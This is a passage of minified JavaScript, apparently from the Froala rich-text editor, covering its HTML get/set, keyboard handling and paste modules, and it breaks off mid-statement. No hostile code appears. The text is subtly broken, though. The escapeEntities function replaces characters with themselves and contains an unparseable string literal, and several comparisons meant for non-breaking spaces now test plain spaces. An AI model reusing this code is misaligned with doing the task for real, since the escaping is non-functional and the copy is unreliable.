g=y(l),C=E(l,"html");S(D.$el,"".concat(h,"\n").concat(c)),D.node.clearAttributes(D.el),D.$el.attr(d),D.$el.addClass("fr-view"),D.$el.attr("spellcheck",D.opts.spellcheck),D.$el.attr("dir",D.opts.direction),S(D.$head,f),D.node.clearAttributes(D.$head.get(0)),D.$head.attr(p),D.node.clearAttributes(D.$html.get(0)),D.$html.attr(C),D.iframe_document.doctype.parentNode.replaceChild(function v(e,t){var n=e.match(/<!DOCTYPE ?([^ ]*) ?([^ ]*) ?"?([^"]*)"? ?"?([^"]*)"?>/i);return n?t.implementation.createDocumentType(n[1],n[3],n[4]):t.implementation.createDocumentType("html")}(g,D.iframe_document),D.iframe_document.doctype)}else S(D.$el,l);var m=D.edit.isDisabled();D.edit.on(),D.core.injectStyle(D.opts.iframeDefaultStyle+D.opts.iframeStyle),b(),D.opts.useClasses||(D.$el.find("[fr-original-class]").each(function(){this.setAttribute("class",this.getAttribute("fr-original-class")),this.removeAttribute("fr-original-class")}),D.$el.find("[fr-original-style]").each(function(){this.setAttribute("style",this.getAttribute("fr-original-style")),this.removeAttribute("fr-original-style")})),m&&D.edit.off(),D.events.trigger("html.set"),D.events.trigger("charCounter.update"),D.events.trigger("wordCounter.update")},syncInputs:P,get:function z(e,t){if(!D.$wp)return D.$oel.clone().removeClass("fr-view").removeAttr("contenteditable").get(0).outerHTML;var n="";D.events.trigger("html.beforeGet");var r,o,i=[],a={},s=[];if(P(),!D.opts.useClasses&&!t){var l=new RegExp("^".concat(D.opts.htmlIgnoreCSSProperties.join("$|^"),"$"),"gi");for(r=0;r<D.doc.styleSheets.length;r++){var c=void 0,d=0;try{c=D.doc.styleSheets[r].cssRules,D.doc.styleSheets[r].ownerNode&&"STYLE"===D.doc.styleSheets[r].ownerNode.nodeType&&(d=1)}catch(H){}if(c)for(var f=0,p=c.length;f<p;f++)if(c[f].selectorText&&0<c[f].style.cssText.length){var u=c[f].selectorText.replace(/body \s tbody \.fr-view /g,"").replace(/::/g,":"),h=void 0;try{h=D.el.querySelectorAll(u)}catch(H){h=[]}for(o=0;o<h.length;o++){!h[o].getAttribute("fr-original-style")&&h[o].getAttribute("style")?(h[o].setAttribute("fr-original-style",h[o].getAttribute("style")),i.push(h[o])):h[o].getAttribute("fr-original-style")||(h[o].setAttribute("fr-original-style",""),i.push(h[o])),a[h[o]]||(a[h[o]]={});for(var g=1e3*d+B(c[f].selectorText),C=c[f].style.cssText.split(";"),m=0;m<C.length;m++){var v=C[m].trim().split(":")[0];if(v&&!v.match(l)&&((!a[h[o]][v]||a[h[o]][v]&&""==h[o].getAttribute("fr-original-style"))&&(a[h[o]][v]=0)<=(h[o].getAttribute("fr-original-style")||"").indexOf("".concat(v,":"))&&(a[h[o]][v]=1e4),g>=a[h[o]][v]&&(a[h[o]][v]=g,C[m].trim().length))){var b=C[m].trim().split(":");b.splice(0,1);var L=b.join(":").trim();-1<L.indexOf("!important")&&(g+=1),s.push([h[o],v.trim(),L,g])}}}}}for(s.sort(I),r=0;r<s.length;r++){var E=s[r];E[0].style[E[1]]=E[2].replace(/!important/,"")}for(r=0;r<i.length;r++)if(i[r].getAttribute("class")&&(i[r].setAttribute("fr-original-class",i[r].getAttribute("class")),i[r].removeAttribute("class")),0<(i[r].getAttribute("fr-original-style")||"").trim().length){var y=i[r].getAttribute("fr-original-style").split(";");for(o=0;o<y.length;o++)if(0<y[o].indexOf(":")){var S=y[o].split(":"),N=S[0];S.splice(0,1),i[r].style[N.trim()]=S.join(":").trim()}}}if(D.node.isEmpty(D.el))D.opts.fullPage&&(n=R(D.iframe_document),n+="<html".concat(D.node.attributes(D.$html.get(0)),">").concat(D.$html.find("head").get(0).outerHTML,"<body></body></html>"));else if(void 0===e&&(e=!1),D.opts.fullPage){n=R(D.iframe_document),D.$el.removeClass("fr-view");var T=D.opts.heightMin,M=D.opts.height,A=D.opts.heightMax;D.opts.heightMin=null,D.opts.height=null,D.opts.heightMax=null,D.size.refresh(),n+="<html".concat(D.node.attributes(D.$html.get(0)),">").concat(D.$html.html(),"</html>"),D.opts.iframe&&D.$html&&0<D.$html.find(".fr-element").length&&(n=D.$html.find(".fr-element").html()),D.opts.heightMin=T,D.opts.height=M,D.opts.heightMax=A,D.size.refresh(),D.$el.addClass("fr-view")}else n=D.$el.html(),D.opts.iframe&&D.$html&&0<D.$html.find(".fr-element").length&&(n=D.$html.find(".fr-element").html());if(!D.opts.useClasses&&!t)for(r=0;r<i.length;r++)i[r].getAttribute("fr-original-class")&&(i[r].setAttribute("class",i[r].getAttribute("fr-original-class")),i[r].removeAttribute("fr-original-class")),null!==i[r].getAttribute("fr-original-style")&&void 0!==i[r].getAttribute("fr-original-style")?(0!==i[r].getAttribute("fr-original-style").length?i[r].setAttribute("style",i[r].getAttribute("fr-original-style")):i[r].removeAttribute("style"),i[r].removeAttribute("fr-original-style")):i[r].removeAttribute("style");D.opts.fullPage&&(n=(n=(n=(n=(n=(n=(n=(n=n.replace(/<style data-fr-style="true">(?:[\w\W]*?)<\/style>/g,"")).replace(/<link([^>]*)data-fr-style="true"([^>]*)>/g,"")).replace(/<style(?:[\w\W]*?)class="firebugResetStyles"(?:[\w\W]*?)>(?:[\w\W]*?)<\/style>/g,"")).replace(/<body((?:[\w\W]*?)) spellcheck="true"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$2>$3</body>")).replace(/<body((?:[\w\W]*?)) contenteditable="(true|false)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$3>$4</body>")).replace(/<body((?:[\w\W]*?)) dir="([\w]*)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$3>$4</body>")).replace(/<body((?:[\w\W]*?))class="([\w\W]*?)(fr-rtl|fr-ltr)([\w\W]*?)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,'<body$1class="$2$4"$5>$6</body>')).replace(/<body((?:[\w\W]*?)) class=""((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$2>$3</body>")),D.opts.htmlSimpleAmpersand&&(n=n.replace(/&/gi,"&")),D.events.trigger("html.afterGet"),e||(n=n.replace(/<span[^>]*? class\s*=\s*["']?fr-marker["']?[^>]+>\u200b<\/span>/gi,"")),n=D.clean.invisibleSpaces(n),n=D.clean.exec(n,V);var x=D.events.chainTrigger("html.get",n);"string"==typeof x&&(n=x),n=(n=n.replace(/<pre(?:[\w\W]*?)>(?:[\w\W]*?)<\/pre>/g,function(e){return e.replace(/<br>/g,"\n")})).replace(/<meta((?:[\w\W]*?)) data-fr-http-equiv="/g,'<meta$1 http-equiv="');var w=D.opts.fontSizeDefaultSelection&&D.opts.fontSizeUnit&&"Font Size"!=D.opts.fontSizeDefaultSelection,O=D.opts.fontFamilyDefaultSelection&&"Font Family"!=D.opts.fontFamilyDefaultSelection;if(D.opts.useClasses&&!t&&(w||O)){var k=_(document.createElement("div"));if(w){var $="pt"===D.opts.fontSizeUnit?Math.round(72*parseFloat(D.opts.fontSizeDefaultSelection,10)/96):D.opts.fontSizeDefaultSelection;k.css("font-size",$+D.opts.fontSizeUnit)}O&&k.css("font-family",D.opts.fontFamilyDefaultSelection),k[0].innerHTML=n,n=k[0].outerHTML}return n},getSelected:function v(){function e(e,t){for(;t&&(t.nodeType===Node.TEXT_NODE||!D.node.isBlock(t))&&!D.node.isElement(t)&&!D.node.hasClass(t,"fr-inner")&&(D.opts.enter!==Z.ENTER_BR||t!==D.$el[0]);)t&&t.nodeType!==Node.TEXT_NODE&&_(e).wrapContent(t),t=t.parentNode;t&&e.innerHTML===t.innerHTML?e.innerHTML=t.outerHTML:t&&"DIV"!==t.tagName&&"LI"!==t.tagName&&t.innerText&&-1!=t.innerText.indexOf(e.innerHTML)&&t!==D.$el.get(0)&&(e.innerHTML=D.node.openTagString(t)+e.innerHTML+D.node.closeTagString(t))}var t,n,r="";if("undefined"!=typeof D.win.getSelection){D.browser.mozilla&&(D.selection.save(),1<D.$el.find('.fr-marker[data-type="false"]').length&&(D.$el.find('.fr-marker[data-type="false"][data-id="0"]').remove(),D.$el.find('.fr-marker[data-type="false"]:last').attr("data-id","0"),D.$el.find(".fr-marker").not('[data-id="0"]').remove()),D.selection.restore());for(var o=D.selection.ranges(),i=0;i<o.length;i++){var a=document.createElement("div");a.appendChild(o[i].cloneContents()),e(a,(n=t=void 0,n=null,D.win.getSelection?(t=D.win.getSelection())&&t.rangeCount&&((n=t.getRangeAt(0).commonAncestorContainer).nodeType===Node.ELEMENT_NODE||D.opts.enter===Z.ENTER_BR&&n.parentNode===D.$el[0]||(n=n.parentNode)):(t=D.doc.selection)&&"Control"!==t.type&&(n=t.createRange().parentElement()),null!==n&&(0<=_(n).parents().toArray().indexOf(D.el)||n===D.el)?n:null)),0<_(a).find(".fr-element").length&&(a=D.el),r+=a.innerHTML}}else"undefined"!=typeof D.doc.selection&&"Text"===D.doc.selection.type&&(r=D.doc.selection.createRange().htmlText);return r},insert:function T(e,t,n){if(!1===D.events.trigger("html.beforeInsert",[e,t,n]))return!1;var r;if(D.selection.isCollapsed()||D.selection.remove(),r=t?e:D.clean.html(e),0===e.indexOf('<i class="fa ')&&(r="<span> ".concat(r,"</span>")),e.indexOf('class="fr-marker"')<0&&(r=function s(e){var t=D.doc.createElement("div");return t.innerHTML=e,D.selection.setAtEnd(t,!0),t.innerHTML}(r)),D.node.isEmpty(D.el)&&!D.opts.keepFormatOnDelete&&f(r))D.opts.trackChangesEnabled?D.track_changes.pasteInEmptyEdior(r):D.el.innerHTML=r;else{(function l(){var e=D.selection.ranges(0).commonAncestorContainer;return e!==D.el&&!D.$el.contains(e)})()&&D.selection.restore();var o=D.markers.insert();if(o)if(D.opts.trackChangesEnabled)D.track_changes.pasteInEdior(r);else{D.node.isLastSibling(o)&&_(o).parent().hasClass("fr-deletable")&&_(o).insertAfter(_(o).parent());var i=D.node.blockParent(o);if((f(r)||n)&&(D.node.deepestParent(o)||i&&"LI"===i.tagName)){i&&"LI"===i.tagName&&(r=function c(e){if(!D.html.defaultTag())return e;var t=D.doc.createElement("div");t.innerHTML=e;for(var n=t.querySelectorAll(":scope > ".concat(D.html.defaultTag())),r=n.length-1;0<=r;r--){var o=n[r];D.node.isBlock(o.previousSibling)||(o.previousSibling&&!D.node.isEmpty(o)&&_("<br>").insertAfter(o.previousSibling),o.outerHTML=o.innerHTML)}return t.innerHTML}(r));var a=D.selection.element();if(a&&_(a).parentsUntil(D.el,"ul, ol").length&&"LI"!=o.parentNode.tagName&&("DIV"==_(r).get(0).tagName&&1==_(r).length&&"UL"==_(r).get(0).firstChild.tagName?r=_(r).get(0).firstChild.innerHTML:"UL"==_(r).get(0).tagName&&(r=_(r).get(0).innerHTML),o=D.markers.split()),!(o=D.markers.split()))return!1;o.outerHTML=r}else o.outerHTML=r}else D.el.innerHTML+=r}b(),D.keys.positionCaret(),D.events.trigger("html.inserted")},wrap:t,unwrap:function M(){D.$el.find("div.fr-temp-div").each(function(){this.previousSibling&&this.previousSibling.nodeType===Node.TEXT_NODE&&_(this).before("<br>"),_(this).attr("data-empty")||!this.nextSibling||D.node.isBlock(this.nextSibling)&&!_(this.nextSibling).hasClass("fr-temp-div")?_(this).replaceWith(_(this).html()):_(this).replaceWith("".concat(_(this).html(),"<br>"))}),D.$el.find(".fr-temp-div").removeClass("fr-temp-div").filter(function(){return""===_(this).attr("class")}).removeAttr("class")},escapeEntities:function A(e){return e.replace(/</gi,"<").replace(/>/gi,">").replace(/"/gi,""").replace(/'/gi,"'")},checkIfEmpty:o,extractNode:L,extractNodeAttrs:E,extractDoctype:y,cleanBRs:function x(){for(var e=D.el.getElementsByTagName("br"),t=0;t<e.length;t++)c(e[t])},_init:function w(){D.events.$on(D.$el,"mousemove","span.fr-word-select",function(e){var t=window.getSelection();t=window.getSelection();var n=document.createRange();n.selectNodeContents(e.target),t.removeAllRanges(),t.addRange(n)}),D.$wp&&(D.events.on("mouseup",h),D.events.on("keydown",h),D.events.on("contentChanged",o))},_setHtml:S}},Z.ENTER_P=0,Z.ENTER_DIV=1,Z.ENTER_BR=2,Z.KEYCODE={BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,ARROW_LEFT:37,ARROW_UP:38,ARROW_RIGHT:39,ARROW_DOWN:40,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,FF_SEMICOLON:59,FF_EQUALS:61,QUESTION_MARK:63,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,META:91,NUM_ZERO:96,NUM_ONE:97,NUM_TWO:98,NUM_THREE:99,NUM_FOUR:100,NUM_FIVE:101,NUM_SIX:102,NUM_SEVEN:103,NUM_EIGHT:104,NUM_NINE:105,NUM_MULTIPLY:106,NUM_PLUS:107,NUM_MINUS:109,NUM_PERIOD:110,NUM_DIVISION:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,FF_HYPHEN:173,SEMICOLON:186,DASH:189,EQUALS:187,COMMA:188,HYPHEN:189,PERIOD:190,SLASH:191,APOSTROPHE:192,TILDE:192,SINGLE_QUOTE:222,OPEN_SQUARE_BRACKET:219,BACKSLASH:220,CLOSE_SQUARE_BRACKET:221,IME:229},Object.assign(Z.DEFAULTS,{enter:Z.ENTER_P,multiLine:!0,tabSpaces:0}),Z.MODULES.keys=function(C){var m,n,r,s=C.$,v=!1;function b(e){if(C.selection.isCollapsed())if(["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&C.cursor.backspace(),C.helpers.isIOS()){var t=C.selection.ranges(0);t.deleteContents(),t.insertNode(document.createTextNode("\u200b")),C.selection.get().modify("move","forward","character")}else["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&e.preventDefault(),e.stopPropagation();else e.preventDefault(),e.stopPropagation(),C.selection.remove();C.placeholder.refresh()}function L(e){["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&e.preventDefault(),e.stopPropagation(),""!==C.selection.text()||C.selection.element().hasAttribute("contenteditable")&&"false"===C.selection.element().getAttribute("contenteditable")||!C.selection.isCollapsed()&&"IMG"==C.selection.element().tagName?C.selection.remove():C.cursor.del(),C.placeholder.refresh()}function e(){if(C.browser.mozilla&&C.selection.isCollapsed()&&!v){var e=C.selection.ranges(0),t=e.startContainer,n=e.startOffset;t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&32===t.textContent.charCodeAt(n-1)&&(C.selection.save(),C.spaces.normalize(),C.selection.restore())}}function t(){C.selection.isFull()&&setTimeout(function(){var e=C.html.defaultTag();e?C.$el.html("<".concat(e,">").concat(Z.MARKERS,"<br/></").concat(e,">")):C.$el.html("".concat(Z.MARKERS,"<br/>")),C.selection.restore(),C.placeholder.refresh(),C.button.bulkRefresh(),C.undo.saveStep()},0)}function o(){v=!1}function i(){v=!1}function E(){var e=C.html.defaultTag();e?C.$el.html("<".concat(e,">").concat(Z.MARKERS,"<br/></").concat(e,">")):C.$el.html("".concat(Z.MARKERS,"<br/>")),C.selection.restore()}function y(e,t){var n=(e&&e.parentElement).parentElement;if(e.parentElement&&(-1<e.innerHTML.indexOf("<span")||-1<e.parentElement.innerHTML.indexOf("<span")||n&&-1<e.parentElement.parentElement.innerHTML.indexOf("<span"))&&(e.classList.contains("fr-img-space-wrap")||e.parentElement.classList.contains("fr-img-space-wrap")||n&&e.parentElement.parentElement.classList.contains("fr-img-space-wrap"))){if(s(e.parentElement).is("p")){var r=e.parentElement.innerHTML;return(r=r.replace(/<br>/g,"")).length<1?e.parentElement.insertAdjacentHTML("afterbegin"," "):" "!=r&&" "!=r&&"Backspace"==t.key?b(t):" "!=r&&" "!=r&&"Delete"==t.key&&L(t),!0}if(s(e).is("p")){var o=e.innerHTML.replace(/<br>/g,"");return o.length<1?e.insertAdjacentHTML("afterbegin"," "):" "!=o&&" "!=o&&"Backspace"==t.key?b(t):" "!=o&&" "!=o&&"Delete"==t.key&&L(t),!0}}return!1}function a(e){var t=C.selection.element();if(t&&0<=["INPUT","TEXTAREA"].indexOf(t.tagName))return!0;if(e&&T(e.which)){var n=C.selection.element(),r=C.selection.get(),o=r.anchorNode,i=r.anchorOffset;if(o.nodeType===Node.TEXT_NODE&&0<i&&1<o.textContent.length&&8203===o.textContent.charCodeAt(i)){S(n);var a=C.doc.createRange();C.selection.get().removeAllRanges();var s=Math.max(0,Math.min(i-1,o.textContent.length-1));a.setStart(o,s),a.setEnd(o,s),C.selection.get().addRange(a)}return!0}C.events.disableBlur();var l=e.which;if(16===l)return!0;if((m=l)===Z.KEYCODE.IME)return v=!0;if(v=!1,N(e))return!0;var c=M(l)&&!N(e)&&!e.altKey,d=l===Z.KEYCODE.BACKSPACE||l===Z.KEYCODE.DELETE;if((C.selection.isFull()&&!C.opts.keepFormatOnDelete&&!C.placeholder.isVisible()||d&&C.placeholder.isVisible()&&C.opts.keepFormatOnDelete)&&(c||d)&&(E(),!M(l)))return e.preventDefault(),!0;if(l===Z.KEYCODE.ENTER)!C.helpers.isIOS()&&e.shiftKey||t.classList.contains("fr-inner")||t.parentElement.classList.contains("fr-inner")?function f(e){e.preventDefault(),e.stopPropagation(),C.opts.multiLine&&(C.selection.isCollapsed()||C.selection.remove(),C.cursor.enter(!0))}(e):function p(e){C.opts.multiLine?(C.helpers.isIOS()||(e.preventDefault(),e.stopPropagation()),C.selection.isCollapsed()||C.selection.remove(),C.cursor.enter()):(e.preventDefault(),e.stopPropagation())}(e);else if(l===Z.KEYCODE.BACKSPACE&&(e.metaKey||e.ctrlKey))!function u(){setTimeout(function(){C.events.disableBlur(),C.events.focus()},0)}();else if(l!==Z.KEYCODE.BACKSPACE||N(e)||e.altKey)if(l!==Z.KEYCODE.DELETE||N(e)||e.altKey||e.shiftKey)l===Z.KEYCODE.SPACE?function h(e){var t=C.selection.element();if(!C.helpers.isMobile()&&t&&"A"===t.tagName){e.preventDefault(),e.stopPropagation(),C.selection.isCollapsed()||C.selection.remove();var n=C.markers.insert();if(n){var r=n.previousSibling;!n.nextSibling&&n.parentNode&&"A"===n.parentNode.tagName?(n.parentNode.insertAdjacentHTML("afterend"," ".concat(Z.MARKERS)),n.parentNode.removeChild(n)):(r&&r.nodeType===Node.TEXT_NODE&&1===r.textContent.length&&160===r.textContent.charCodeAt(0)?r.textContent+=" ":n.insertAdjacentHTML("beforebegin"," "),n.outerHTML=Z.MARKERS),C.selection.restore()}}}(e):l===Z.KEYCODE.TAB?function g(e){if(0<C.opts.tabSpaces)if(C.selection.isCollapsed()){C.undo.saveStep(),e.preventDefault(),e.stopPropagation();for(var t="",n=0;n<C.opts.tabSpaces;n++)t+=" ";C.html.insert(t),C.placeholder.refresh(),C.undo.saveStep()}else e.preventDefault(),e.stopPropagation(),e.shiftKey?C.commands.outdent():C.commands.indent()}(e):N(e)||!M(e.which)||C.selection.isCollapsed()||e.ctrlKey||e.altKey||C.browser.mozilla||C.selection.remove();else{if(y(t,e))return e.preventDefault(),void e.stopPropagation();C.placeholder.isVisible()?(C.opts.keepFormatOnDelete||E(),e.preventDefault(),e.stopPropagation()):L(e)}else{if(y(t,e))return e.preventDefault(),void e.stopPropagation();C.placeholder.isVisible()?(C.opts.keepFormatOnDelete||E(),e.preventDefault(),e.stopPropagation()):b(e)}C.events.enableBlur()}function S(e){var t=e;-1<["STRONG","U","EM"].indexOf(e.nodeName)&&e.parentNode&&(t=e.parentNode);for(var n=C.doc.createTreeWalker(t,NodeFilter.SHOW_TEXT,C.node.filter(function(e){return/\u200B/gi.test(e.textContent)}),!1);n.nextNode();){var r=n.currentNode;r.textContent=r.textContent.replace(/\u200B/gi,"")}}function l(){if(!C.$wp)return!0;var e;if(C.opts.height||C.opts.heightMax){e=C.position.getBoundingRect().top,(C.helpers.isIOS()||C.helpers.isAndroid())&&(e-=C.helpers.scrollTop()),C.opts.iframe&&(e+=C.$iframe.offset().top);var t=C.selection.blocks(),n=null;if(t&&0<t.length&&t[0].offsetTop&&(n=t[0].getBoundingClientRect().top,3===C.selection.get().anchorNode.nodeType)){var r=C.doc.createRange(),o=C.selection.get().anchorNode,i=C.selection.get().anchorOffset;r.selectNode(o),r.setStart(o,i),n=r.getBoundingClientRect().top}if(!C.opts.iframe&&e>C.$wp.offset().top-C.helpers.scrollTop()+C.$wp.height()-20)C.$wp.scrollTop(e+C.$wp.scrollTop()-(C.$wp.height()+C.$wp.offset().top)+C.helpers.scrollTop()+20);else if(C.opts.iframe&&n)if(C.$wp.scrollTop()>n)C.$wp.scrollTop(n-20);else if(n+20>C.$wp.scrollTop()+C.$wp.height()){var a=n-C.$wp.height()+50;C.$wp.scrollTop(a)}}else e=C.position.getBoundingRect().top,C.opts.toolbarBottom&&(e+=C.opts.toolbarStickyOffset),(C.helpers.isIOS()||C.helpers.isAndroid())&&(e-=C.helpers.scrollTop()),C.opts.iframe&&(e+=C.$iframe.offset().top,e-=C.helpers.scrollTop()),(e+=C.opts.toolbarStickyOffset)>C.o_win.innerHeight-20&&s(C.o_win).scrollTop(e+C.helpers.scrollTop()-C.o_win.innerHeight+20),e=C.position.getBoundingRect().top,C.opts.toolbarBottom||(e-=C.opts.toolbarStickyOffset),(C.helpers.isIOS()||C.helpers.isAndroid())&&(e-=C.helpers.scrollTop()),C.opts.iframe&&(e+=C.$iframe.offset().top,e-=C.helpers.scrollTop()),e<100&&s(C.o_win).scrollTop(e+C.helpers.scrollTop()-100)}function c(e){var t=C.selection.element();if(t&&0<=["INPUT","TEXTAREA"].indexOf(t.tagName))return!0;if(e&&0===e.which&&m&&(e.which=m),C.helpers.isAndroid()&&C.browser.mozilla)return!0;if(v)return!1;if(e&&C.helpers.isIOS()&&e.which===Z.KEYCODE.ENTER&&C.doc.execCommand("undo"),!C.selection.isCollapsed())return!0;if(e&&(e.which===Z.KEYCODE.META||e.which===Z.KEYCODE.CTRL))return!0;if(e&&T(e.which))return!0;if(e&&!C.helpers.isIOS()&&(e.which===Z.KEYCODE.ENTER||e.which===Z.KEYCODE.BACKSPACE||37<=e.which&&e.which<=40&&!C.browser.msie))try{l()}catch(i){}var n=C.selection.element();if(function a(e){if(!e)return!1;var t=e.innerHTML;return!!((t=t.replace(/<span[^>]*? class\s*=\s*["']?fr-marker["']?[^>]+>\u200b<\/span>/gi,""))&&/\u200B/.test(t)&&0<t.replace(/\u200B/gi,"").length)}(n)&&!C.node.hasClass(n,"fr-marker")&&"IFRAME"!==n.tagName&&function s(e){return!C.helpers.isIOS()||0===((e.textContent||"").match(/[\u3041-\u3096\u30A0-\u30FF\u4E00-\u9FFF\u3130-\u318F\uAC00-\uD7AF]/gi)||[]).length}(n)){C.selection.save();var r=C.$el.find(".fr-marker")[1],o=(e||"").which;C.opts.enter===Z.ENTER_BR&&n===C.$el.get(0)&&8===o&&null==r.nextSibling||S(n),C.selection.restore()}}function N(e){if(-1!==navigator.userAgent.indexOf("Mac OS X")){if(e.metaKey&&!e.altKey)return!0}else if(e.ctrlKey&&!e.altKey)return!0;return!1}function T(e){if(e>=Z.KEYCODE.ARROW_LEFT&&e<=Z.KEYCODE.ARROW_DOWN)return!0}function M(e){if(e>=Z.KEYCODE.ZERO&&e<=Z.KEYCODE.NINE)return!0;if(e>=Z.KEYCODE.NUM_ZERO&&e<=Z.KEYCODE.NUM_MULTIPLY)return!0;if(e>=Z.KEYCODE.A&&e<=Z.KEYCODE.Z)return!0;if(C.browser.webkit&&0===e)return!0;switch(e){case Z.KEYCODE.SPACE:case Z.KEYCODE.QUESTION_MARK:case Z.KEYCODE.NUM_PLUS:case Z.KEYCODE.NUM_MINUS:case Z.KEYCODE.NUM_PERIOD:case Z.KEYCODE.NUM_DIVISION:case Z.KEYCODE.SEMICOLON:case Z.KEYCODE.FF_SEMICOLON:case Z.KEYCODE.DASH:case Z.KEYCODE.EQUALS:case Z.KEYCODE.FF_EQUALS:case Z.KEYCODE.COMMA:case Z.KEYCODE.PERIOD:case Z.KEYCODE.SLASH:case Z.KEYCODE.APOSTROPHE:case Z.KEYCODE.SINGLE_QUOTE:case Z.KEYCODE.OPEN_SQUARE_BRACKET:case Z.KEYCODE.BACKSLASH:case Z.KEYCODE.CLOSE_SQUARE_BRACKET:return!0;default:return!1}}function d(e){var t=e.which;if(N(e)||37<=t&&t<=40||!M(t)&&t!==Z.KEYCODE.DELETE&&t!==Z.KEYCODE.BACKSPACE&&t!==Z.KEYCODE.ENTER&&t!==Z.KEYCODE.IME)return!0;n||(r=C.snapshot.get(),C.undo.canDo()||C.undo.saveStep()),clearTimeout(n),n=setTimeout(function(){n=null,C.undo.saveStep()},Math.max(250,C.opts.typingTimer))}function f(e){var t=e.which;if(N(e)||37<=t&&t<=40)return!0;r&&n?(C.undo.saveStep(r),r=null):void 0!==t&&0!==t||r||n||C.undo.saveStep()}function p(e){if(e&&"BR"===e.tagName)return!1;try{return 0===(e.textContent||"").length&&e.querySelector&&!e.querySelector(":scope > br")||e.childNodes&&1===e.childNodes.length&&e.childNodes[0].getAttribute&&("false"===e.childNodes[0].getAttribute("contenteditable")||C.node.hasClass(e.childNodes[0],"fr-img-caption"))}catch(t){return!1}}function u(e){var t=C.el.childNodes,n=C.html.defaultTag(),r=C.node.blockParent(C.selection.blocks()[0]);return r&&"TR"==r.tagName&&r.getAttribute("contenteditable")==undefined&&(r=r.closest("table")),!C.node.isEditable(e.target)||r&&"false"===r.getAttribute("contenteditable")?C.toolbar.disable():C.toolbar.enable(),!(!e.target||e.target===C.el)||(0===t.length||void(t[0].offsetHeight+t[0].offsetTop<=e.offsetY?p(t[t.length-1])&&(n?C.$el.append("<".concat(n,">").concat(Z.MARKERS,"<br></").concat(n,">")):C.$el.append("".concat(Z.MARKERS,"<br>")),C.selection.restore(),l()):e.offsetY<=10&&p(t[0])&&(n?C.$el.prepend("<".concat(n,">").concat(Z.MARKERS,"<br></").concat(n,">")):C.$el.prepend("".concat(Z.MARKERS,"<br>")),C.selection.restore(),l())))}function h(){n&&clearTimeout(n)}return{_init:function g(){C.events.on("keydown",d),C.events.on("input",e),C.events.on("mousedown",i),C.events.on("keyup input",f),C.events.on("keypress",o),C.events.on("keydown",a),C.events.on("keyup",c),C.events.on("destroy",h),C.events.on("html.inserted",c),C.events.on("cut",t),C.opts.multiLine&&C.events.on("click",u),C.events.on("initialized",function(){C.el.addEventListener("compositionstart",function(){if(C.selection.isCollapsed()){var e=C.selection.ranges(0),t=e.startContainer,n=e.startOffset;if(t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&8203===t.textContent.charCodeAt(n-1)){C.selection.save();var r=C.$el.find(".fr-marker");s(r.get(0).previousSibling).before(Z.HAIR_SPACE),r.get(0).previousSibling.textContent=r.get(0).previousSibling.textContent.replace(/\u200B/gi,""),C.selection.restore()}}}),C.el.addEventListener("compositionend",function(){if(C.selection.isCollapsed()){var e=C.selection.ranges(0),t=e.startContainer,n=e.startOffset;if(t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&8202===t.textContent.charCodeAt(0)){C.selection.save();var r=C.$el.find(".fr-marker");r.get(0).previousSibling.textContent=r.get(0).previousSibling.textContent.replace(/\u200A/gi,""),C.selection.restore()}}})})},ctrlKey:N,isCharacter:M,isArrow:T,forceUndo:function A(){n&&(clearTimeout(n),C.undo.saveStep(),r=null)},isIME:function x(){return v},isBrowserAction:function w(e){var t=e.which;return N(e)||t===Z.KEYCODE.F5},positionCaret:l}},Object.assign(Z.DEFAULTS,{pastePlain:!1,pasteDeniedTags:["colgroup","col","meta"],pasteDeniedAttrs:["class","id"],pasteAllowedStyleProps:[".*"],pasteAllowLocalImages:!1}),Z.MODULES.paste=function(A){var s,i,x,w,l,O,o,k=A.$;function r(e,t){var n=2<arguments.length&&arguments[2]!==undefined&&arguments[2];o=n;try{A.win.localStorage.setItem("fr-copied-html",e),A.win.localStorage.setItem("fr-copied-text",t)}catch(r){}}function e(e){var t=A.html.getSelected();"cut"===e.type&&A.opts.trackChangesEnabled||(o=!1),o&&(t=A.win.localStorage.getItem("fr-copied-html"));var n=k(A.doc.createElement("div")).html(t).text();o||r(t,n),"cut"===e.type&&(A.undo.saveStep(),A.opts.trackChangesEnabled&&o&&(e.clipboardData.setData("text/plain",n),e.clipboardData.setData("text/html",t),A.selection.get().deleteFromDocument(),e.preventDefault()),setTimeout(function(){A.selection.save(),A.html.wrap(),A.selection.restore(),A.events.focus(),A.undo.saveStep()},0))}var c,n=!1;function t(d){if("INPUT"===(c=d).target.nodeName&&"text"===d.target.type)return!0;if(A.edit.isDisabled())return!1;if(a(d.target))return!1;if(n)return!1;d.originalEvent&&(d=d.originalEvent);var e=navigator.userAgent.match(/(chrome(?=\/))\/?\s*(\d+)/i)||[],t=3<=e.length?e[2]:0;return A.helpers.isAndroid()&&A.browser.chrome&&99<t&&navigator.clipboard?(navigator.clipboard.read({unsanitized:["text/html"]}).then(function(){var t=function e(s){return function(){var e=this,a=arguments;return new Promise(function(t,n){var r=s.apply(e,a);function o(e){L(r,t,n,o,i,"next",e)}function i(e){L(r,t,n,o,i,"throw",e)}o(void 0)})}}(D().mark(function c(t){var n,r,o,i,a,s,l;return D().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:n=t[0].types,r=new DataTransfer,o=E(n),e.prev=3,o.s();case 5:if((i=o.n()).done){e.next=21;break}return 